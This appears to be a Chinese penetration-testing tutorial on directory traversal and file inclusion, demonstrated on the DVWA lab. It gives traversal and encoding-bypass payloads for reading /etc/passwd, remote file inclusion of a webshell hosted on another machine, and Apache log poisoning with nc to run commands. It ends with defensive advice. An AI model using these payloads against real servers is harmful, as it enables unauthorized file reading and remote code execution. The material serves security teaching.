web 渗透 --- 目录遍历、文件包含

目录

 

1.目录遍历和文件包含漏洞

1.1特征

1.2 经典测试方法

1.3 绕过字符过滤

 2.利用DVWA进行漏洞测试

2.1low级别

2.2medium级别

2.3 high级别

2.4impossible级别

3.利用远程文件包含漏洞代码执行

4. 权限配置不当引起的本地文件包含漏洞

5.总结


1.目录遍历和文件包含漏洞

  • 应用程序操作文件,限制不严时导致访问Web目录以外的文件,包括读写文件和远程执行代码
  • 本地文件包含(LFI)
  • 远程文件包含(RFI)    php.ini  中   allow_url_include = On

 

1.1特征

特征但不绝对:

  •  ?page=a.php
     ?home=b.html
     ?file=content
  • web 渗透 --- 目录遍历、文件包含_第1张图片

1.2 经典测试方法

?file=../../../../etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

1.3 绕过字符过滤

有时候web应用会在尾部添加 “.php”,例如找不到  /etc/passwd.php 文件

1、“.”        “%00”           #绕过文件扩展名过滤,%00是null的编码,代表后面不再读取

      ?file=a.doc%00.php

2、使用多种编码尝试

3、url 编码或者进行双层甚至三层 url 编码

%2e%2e%2f                   解码     ../

%2e%2e%5c                  解码     ..\

%252e%252e%255c      解码     ..\

4、Unicode/UTF-8 解码

..%c0%af                        解码      ../

..%u2216

..%c1%9c                       解码      ..\

5、其他系统路径可能使用的字符

file.txt…

file.txt

file.txt””””

file.txt<<<>>><

./././file.txt

nonexistant/../file.txt

6、UNC路径

\1.1.1.1\path\to\file.txt

 

  • 代码

  • 攻击

  • 结果

 2.利用DVWA进行漏洞测试

2.1low级别

源代码

  

1、可以使用 “?page=../../../../../../../etc/passwd”

web 渗透 --- 目录遍历、文件包含_第2张图片

2、可以使用绝对路径“?page=/etc/passwd”

web 渗透 --- 目录遍历、文件包含_第3张图片

3、使用系统文件路径“?page=file:///etc/passwd” (只支持绝对路径)

web 渗透 --- 目录遍历、文件包含_第4张图片

4、远程目录遍历 “?page=http://www.sina.com”

web 渗透 --- 目录遍历、文件包含_第5张图片

5、 使用burpsuite进行自动化扫描

web 渗透 --- 目录遍历、文件包含_第6张图片

web 渗透 --- 目录遍历、文件包含_第7张图片

2.2medium级别

源代码:

 1、过滤了"http://""https://" 可以使用二次过滤的方式进行绕过

可以利用此机制,使用两次 http:// ,将第二次插入到 http:// 中间
将 http:// 换成 htthttp://p://

2、过滤了"../", "..\" 相对路径的方式,可以使用绝对路径进绕过

web 渗透 --- 目录遍历、文件包含_第8张图片

2.3 high级别

源代码:

1、可以在file1.php的上一级目录进行突破

http://10.0.0.35/dvwa/vulnerabilities/fi/?page=file1.php../../../../../../../../../../../../../../etc/passwd

2.4impossible级别

设置白名单的方法,只允许file1.php、file2.php、file3.php和include.php

源代码:

3.利用远程文件包含漏洞代码执行

1、生成简单webshell

root@kali:~# echo ''  > /var/www/html/1.txt
root@kali:~# cat /var/www/html/1.txt

root@kali:~# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.

2、http://192.168.71.133/dvwa/vulnerabilities/fi/?page=http://192.168.71.131/1.txt&cmd=pwd 多个变量用&隔开

web 渗透 --- 目录遍历、文件包含_第9张图片

4. 权限配置不当引起的本地文件包含漏洞

  • 修改 dvwa 的 access.log 权限,使其错误配置系统权限

    root@metasploitable:/var/log/apache2# chmod a+rx access.log
    root@metasploitable:/var/log# chmod a+rx apache2
    root@metasploitable:/var# chmod a+rx log
    root@metasploitable:/# chmod a+rx var
    
  • 使用 nc 插入代码

    root@kali:~/Desktop# nc -nv 192.168.71.133 80
    (UNKNOWN) [10.10.10.132] 80 (http) open
    
    
  • 查看access日志

  • web 渗透 --- 目录遍历、文件包含_第10张图片
  • 浏览器测试

    http://192.168.71.133/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log&cmd=id

web 渗透 --- 目录遍历、文件包含_第11张图片

5.总结

《web应用安全指南》page 197

目录遍历漏洞防御措施:

  1. 避免由外界指定文件名
  2. 文件名中不可以包含目录
  3. 限定文件名中仅包含字母与数字
  4. 指定可以访问的白名单

你可能感兴趣的:(web,渗透)